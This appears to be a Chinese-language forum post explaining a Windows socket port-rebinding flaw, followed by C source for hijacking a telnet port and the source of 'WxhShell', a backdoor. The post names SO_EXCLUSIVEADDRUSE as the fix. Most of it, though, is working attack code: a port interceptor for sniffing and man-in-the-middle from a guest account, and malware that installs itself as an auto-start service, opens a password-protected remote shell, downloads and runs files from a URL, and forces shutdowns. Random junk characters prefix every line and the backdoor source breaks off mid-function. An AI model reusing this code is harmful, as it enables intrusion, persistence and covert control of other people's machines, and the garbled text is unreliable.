在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
m~],nl s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
lM#A3/=K &,i~ cG? saddr.sin_family = AF_INET;
oh#>
5cA8 3,);0@I saddr.sin_addr.s_addr = htonl(INADDR_ANY);
7W9~1
.SC q6wr=OWD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
G_ Ay m=b~i^@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
gor<g))\ }'=h4yI 这意味着什么?意味着可以进行如下的攻击:
z{BA4sn m_!U}! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
NNa1EXZ[ l
SkEuN 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3^.8.q(6 \NX Q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
*C,N'M<u /.=r>a}l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
yu
,h\ &!y]:CC{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
kDB iBNdB {$^SP7qV#> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!Zbesp KZ -)<mS 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
2 Y|D'^ ,vG<*|pn #include
:+,st&(E #include
nDlO5 pe"d #include
IbWPlbH #include
+#]|)VZ DWORD WINAPI ClientThread(LPVOID lpParam);
EX?h0Uy int main()
*(*+`qZL{( {
gvnj&h.GV WORD wVersionRequested;
djT.
1( DWORD ret;
'H FK Bp WSADATA wsaData;
j[P8 BOOL val;
y67uH4&Vm SOCKADDR_IN saddr;
ggou*;' SOCKADDR_IN scaddr;
b4 hIeBI\ int err;
9.0WKcwg SOCKET s;
=J@`0H" SOCKET sc;
4R +P int caddsize;
9B)lGLL}q HANDLE mt;
xaL#MIR"u" DWORD tid;
x.EgTvA&d wVersionRequested = MAKEWORD( 2, 2 );
]@SU4 err = WSAStartup( wVersionRequested, &wsaData );
]0D9N" if ( err != 0 ) {
p\U*;'hv printf("error!WSAStartup failed!\n");
DMkhbo&+ return -1;
{TL +7kiX/ }
Z~3u:[x"; saddr.sin_family = AF_INET;
6~Wu` viuiqs5[Bi //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
C(]'&~}( Yjup saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
JfTfAq] saddr.sin_port = htons(23);
WL\^F#: if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q{X T {
n9fk,3 printf("error!socket failed!\n");
VjTe4$ * return -1;
g8yN%)[ }
3
Lje<KzL val = TRUE;
^'B-sz{{ //SO_REUSEADDR选项就是可以实现端口重绑定的
r] t )x* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
F^'v{@C {
?Bu}.0ku-$ printf("error!setsockopt failed!\n");
F14(;'Az return -1;
)!C7bTv 4 }
<*YO~S(R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;,0lUcV //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\n@V-b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ek[kq[U9 Igjr~@# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Ky&KF0 {
>38
Lt\ ret=GetLastError();
C6)R# printf("error!bind failed!\n");
z{6YC~ return -1;
2cjEex:& }
Bn-J_-%M listen(s,2);
l#6&WWmr while(1)
-SJSTO[/J {
l^,qO3ES caddsize = sizeof(scaddr);
aRKv+{K //接受连接请求
Qcgu`]7} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Wy(pLBmb if(sc!=INVALID_SOCKET)
6_U|(f {
_j 5N=I{U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>tEK+Y|N} if(mt==NULL)
G{A)H_o* {
4p x_ZD#J printf("Thread Creat Failed!\n");
E!@/N E\- break;
u&SZlkf6% }
Yzd2G,kZ= }
MOyT< $ CloseHandle(mt);
( 2zeG` }
~@YQ,\Y closesocket(s);
\[T{M!s WSACleanup();
!
o^Ic`FhS return 0;
cno;>[$ }
u0BMyH DWORD WINAPI ClientThread(LPVOID lpParam)
-,/3"}<^78 {
.M+v?Ad SOCKET ss = (SOCKET)lpParam;
&Y=.D:z< SOCKET sc;
3`rIV*&_{ unsigned char buf[4096];
\c68n SOCKADDR_IN saddr;
>i`8R long num;
}3sN+4 DWORD val;
gV.f*E1C DWORD ret;
qwP $~Bj //如果是隐藏端口应用的话,可以在此处加一些判断
&>V/X{>$`K //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
2C{/`N saddr.sin_family = AF_INET;
IM$0#2\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
j=Q$K#sBt saddr.sin_port = htons(23);
od(:Y(4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
b=_{/F*b? {
:p&IX"Hh printf("error!socket failed!\n");
#|ddyCg2 return -1;
cdN/Qy }
#Jv43L H val = 100;
fPrb% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Ivjw<XP6K {
H%cp^G ret = GetLastError();
yXXvs'$R \ return -1;
2R] XH
0 }
YnD#p[Wo^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*) }
:l {
bHJoEYY^ ret = GetLastError();
QnP{$rT return -1;
I)rGOda{ }
3XGB+$]C if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
55,=[ {
2x6<8J8v* printf("error!socket connect failed!\n");
shy closesocket(sc);
mw Z'=H closesocket(ss);
7y;u} 1 return -1;
($:y\,5(9I }
0IpST while(1)
Db,= 2e {
XW^8A77H //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Wk,6) jS=} //如果是嗅探内容的话,可以再此处进行内容分析和记录
i[8NO$tN1) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
PC[cHgSYU num = recv(ss,buf,4096,0);
gjQ=8&i if(num>0)
@?Fx send(sc,buf,num,0);
^ePsIl1E else if(num==0)
aSTFcz" break;
Ny B&uf num = recv(sc,buf,4096,0);
y 3IA ' if(num>0)
RE*WM3QK~ send(ss,buf,num,0);
;{]8>`im&4 else if(num==0)
?-d
Ain1w break;
e"PMvQ }
srsK:%` closesocket(ss);
@7 )Z closesocket(sc);
u2\+?`Ox return 0 ;
:4{Qh }
v8>!Gft o|0
'0P VkWO} ==========================================================
N:OD0m%`) k3C"
下边附上一个代码,,WXhSHELL
{vLTeIxf.G Tt`L(oF ==========================================================
H/pcXj 6hLNJ #include "stdafx.h"
C(xqvK~p =zz+<!! #include <stdio.h>
db<q-u #include <string.h>
qP qy4V.; #include <windows.h>
aN:HG)$@ #include <winsock2.h>
yB=C5-\F #include <winsvc.h>
u>81dO]H #include <urlmon.h>
xJN |w\& iwB8I^ #pragma comment (lib, "Ws2_32.lib")
0Y[*lM- #pragma comment (lib, "urlmon.lib")
{ip=iiW2 #>@<n3rq #define MAX_USER 100 // 最大客户端连接数
<Kh?Ad>N #define BUF_SOCK 200 // sock buffer
bd} r#^'K #define KEY_BUFF 255 // 输入 buffer
y-%nJD$ k?o^5@b/ #define REBOOT 0 // 重启
&|s+KP|d #define SHUTDOWN 1 // 关机
Td5bDO ss/h[4h4h #define DEF_PORT 5000 // 监听端口
7Nd*,DV_ T=^jCH & #define REG_LEN 16 // 注册表键长度
FPvuzBJ #define SVC_LEN 80 // NT服务名长度
(%6(5,
.4Iw=T_ // 从dll定义API
2]2{&b u typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
W)|c[Q\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
t3pZjdLJd typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
HE*7\"9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_yiRh: 1% asx'^ // wxhshell配置信息
,tcP=fdk] struct WSCFG {
"3\oQvi. int ws_port; // 监听端口
j.<:00< char ws_passstr[REG_LEN]; // 口令
MRjH40"2 int ws_autoins; // 安装标记, 1=yes 0=no
+{5JDyh0 char ws_regname[REG_LEN]; // 注册表键名
A*rZQh
b[ char ws_svcname[REG_LEN]; // 服务名
-)4uYK* char ws_svcdisp[SVC_LEN]; // 服务显示名
IO^:FnJJv char ws_svcdesc[SVC_LEN]; // 服务描述信息
~g*Y,
Y char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@bc[
eas int ws_downexe; // 下载执行标记, 1=yes 0=no
79TPg char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
+.S#= char ws_filenam[SVC_LEN]; // 下载后保存的文件名
wTB)v !
CEbzJ };
mYiSR UaH26fWs // default Wxhshell configuration
|sA4:Aq struct WSCFG wscfg={DEF_PORT,
UCe,2v% "xuhuanlingzhe",
c"sj)-_ 1,
zv$Gma_ "Wxhshell",
ub[""M? "Wxhshell",
zt-'SY "WxhShell Service",
9 %D$T'K "Wrsky Windows CmdShell Service",
c9\B[@-q "Please Input Your Password: ",
os}b?I*K 1,
O|HIO&M "
http://www.wrsky.com/wxhshell.exe",
<sgZ3*,A "Wxhshell.exe"
\_lG#p| };
?H y%ULk '.]e._T // 消息定义模块
7vii9Am7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
h9w@oRp`~ char *msg_ws_prompt="\n\r? for help\n\r#>";
_= o1?R char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
"L9C char *msg_ws_ext="\n\rExit.";
N|UBaPS|o char *msg_ws_end="\n\rQuit.";
0q:(-z\S4 char *msg_ws_boot="\n\rReboot...";
=''mpIg( char *msg_ws_poff="\n\rShutdown...";
)`B
-O:: char *msg_ws_down="\n\rSave to ";
-Pqi1pj] Tg3:VD char *msg_ws_err="\n\rErr!";
<I>%m, char *msg_ws_ok="\n\rOK!";
B*-ToXQQr mY$nI -P char ExeFile[MAX_PATH];
U(rr vNt:t int nUser = 0;
Ix*BI9E HANDLE handles[MAX_USER];
-@YVe:$%b int OsIsNt;
V<7R_}^_7 tn"Y9
k| SERVICE_STATUS serviceStatus;
ATKYjhc _ SERVICE_STATUS_HANDLE hServiceStatusHandle;
\Ku9"x 'dmp4VT3 // 函数声明
"}S9`-Wd| int Install(void);
[54@i rH int Uninstall(void);
R2Twm!1 int DownloadFile(char *sURL, SOCKET wsh);
[>b
'}4 int Boot(int flag);
Py|H?
, 6= void HideProc(void);
i0,%}{` int GetOsVer(void);
OT-n\sL$ int Wxhshell(SOCKET wsl);
% MfGVx}nG void TalkWithClient(void *cs);
1bV 2 int CmdShell(SOCKET sock);
_ff=B int StartFromService(void);
BengRG[ int StartWxhshell(LPSTR lpCmdLine);
u3Zzu \{ n%83jep9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
E\{^0vNc VOID WINAPI NTServiceHandler( DWORD fdwControl );
xDPQG`6 wm); aWP // 数据结构和表定义
hg[l{)Q SERVICE_TABLE_ENTRY DispatchTable[] =
1$:{{% {
XX]5T`D {wscfg.ws_svcname, NTServiceMain},
DePV,. {NULL, NULL}
GOv92$e };
y+K7WUwhq AzHIp^ // 自我安装
LVPt*S= / int Install(void)
ke3HK9P; {
OSSd;ueur$ char svExeFile[MAX_PATH];
q`/amI0 HKEY key;
1_Dn?G^H strcpy(svExeFile,ExeFile);
7sQ]w
B6tcKh9d, // 如果是win9x系统,修改注册表设为自启动
S[W9G)KWp if(!OsIsNt) {
t 3(%UB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
o~i]W.SI( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8gVxiFjo RegCloseKey(key);
^>,<*p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tx:rj6-z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jw:4fb RegCloseKey(key);
, aRJ!AZ return 0;
r*X}3t* }
jOoIF/So }
"|.+L }
8\qCj.>S else {
WmT}t $$2S*qY // 如果是NT以上系统,安装为系统服务
pm'@2dT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
QOkE\ro if (schSCManager!=0)
l|@/?GaH {
GibggOj2Q, SC_HANDLE schService = CreateService
^}i50SG:y (
|QAeQWP+1 schSCManager,
,z?<7F1q= wscfg.ws_svcname,
6e$sA (a=i wscfg.ws_svcdisp,
9B!im\]O SERVICE_ALL_ACCESS,
veYsctK~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
4b3 F9 SERVICE_AUTO_START,
W2r6jm! SERVICE_ERROR_NORMAL,
<|KKv5[ svExeFile,
]MqH13`)A NULL,
%nDPM? aO NULL,
<?q&PCAn^ NULL,
G1#Bb5q: NULL,
]YisZE4s NULL
z:ru68 );
egxJ3. if (schService!=0)
)Dk0V!%N {
1jUhG2y CloseServiceHandle(schService);
rZ8Y=) e CloseServiceHandle(schSCManager);
@\%)'WU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
3PvZ_!G strcat(svExeFile,wscfg.ws_svcname);
h}anTFKP if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
w-0O j RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RvyBg:Aj5 RegCloseKey(key);
l6&v}M return 0;
Ie^Dn!0S }
1K?
&
J2 }
!^>LOH>j CloseServiceHandle(schSCManager);
AhbT/ }
ADLa.{ }
1c<CEq:?e% 66^1&D" return 1;
c:h.J4mv }
Ac5o K O?j98H
Sya // 自我卸载
&J6o$i int Uninstall(void)
RS||KA])J {
L#7)X5a__ HKEY key;
.q_uJ_qu- -CU7u=*b if(!OsIsNt) {
A]tf>H#1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
eZR8<Z% RegDeleteValue(key,wscfg.ws_regname);
;G%wc! RegCloseKey(key);
j$|Yd= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6yu*a_ RegDeleteValue(key,wscfg.ws_regname);
)F%wwc^r RegCloseKey(key);
D_yY0rRM return 0;
:kp }
pU:C=hq4 }
x;ICV%g/ }
:{wsd$Qlj else {
Zv1Bju*y BuEQ^[Ex SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ZyS;+" if (schSCManager!=0)
aCUV[CPw {
0'V- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
VJ6>3 if (schService!=0)
(.quX@w"m {
282+1X if(DeleteService(schService)!=0) {
RXx?/\~yd; CloseServiceHandle(schService);
shDt&_n CloseServiceHandle(schSCManager);
^7~SS2t! return 0;
?G>5 D`V }
9s\i(/RxW CloseServiceHandle(schService);
0>~6Z }
vYMbson} CloseServiceHandle(schSCManager);
t5X^(@q4N }
G"U>fwFuK }
S,`Sq8H l9ifUhe return 1;
F"m}mf }
9A}
kkMB: 3|83Jnh // 从指定url下载文件
<SC|A| int DownloadFile(char *sURL, SOCKET wsh)
Pv2nV!X6 {
B yy-Cc HRESULT hr;
{Jw<<<G char seps[]= "/";
o$blPTN char *token;
XJxs4a1[t char *file;
zFdz]z3 char myURL[MAX_PATH];
3U9+l0mBa char myFILE[MAX_PATH];
!(ux.T0 >Dp6@% strcpy(myURL,sURL);
X^
^?}>t[ token=strtok(myURL,seps);
SbPjU50 while(token!=NULL)
IjB*myN. {
Z;~E+dXC file=token;
>h!.Gj token=strtok(NULL,seps);
8v)~J}[ Bz }
!{]v='
oVEr {K) GetCurrentDirectory(MAX_PATH,myFILE);
,5<`+w#a strcat(myFILE, "\\");
2GD mZl strcat(myFILE, file);
yz2oS|0 ' send(wsh,myFILE,strlen(myFILE),0);
R 6yvpH send(wsh,"...",3,0);
602eLV) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
xZ @O"*{ if(hr==S_OK)
zIYr0k*% return 0;
VU+ s7L0 else
-{:LxE return 1;
Etr8lm E S4:\`Lo-; }
t!=~5YgKs %*Z2Gef?H // 系统电源模块
}PIGj} F/ int Boot(int flag)
;DgX"Uzm {
c7nk~K[6 HANDLE hToken;
)V$! TOKEN_PRIVILEGES tkp;
z7Rcnr; ,?~UpsUx if(OsIsNt) {
,md7.z]U~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
q/2K=BOh LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
xZ'`_x9l tkp.PrivilegeCount = 1;
.vOpU4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|b'<XQ&l5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Pl5NHVr if(flag==REBOOT) {
Uo[5V|>X6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
hq8/`u
YF return 0;
zUUxxS_? }
_~S^#ut+ else {
WPp\sIP if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
zR JKIm return 0;
O->(9k < }
dG~B3xg;5i }
C(|T/rQ- else {
komxot[[
if(flag==REBOOT) {
6$vh qg}f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
D)~nAkVq return 0;
HAUTCX }
-IsdU7} else {
(zYSSf!I if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
K"6+X|yxE return 0;
gS<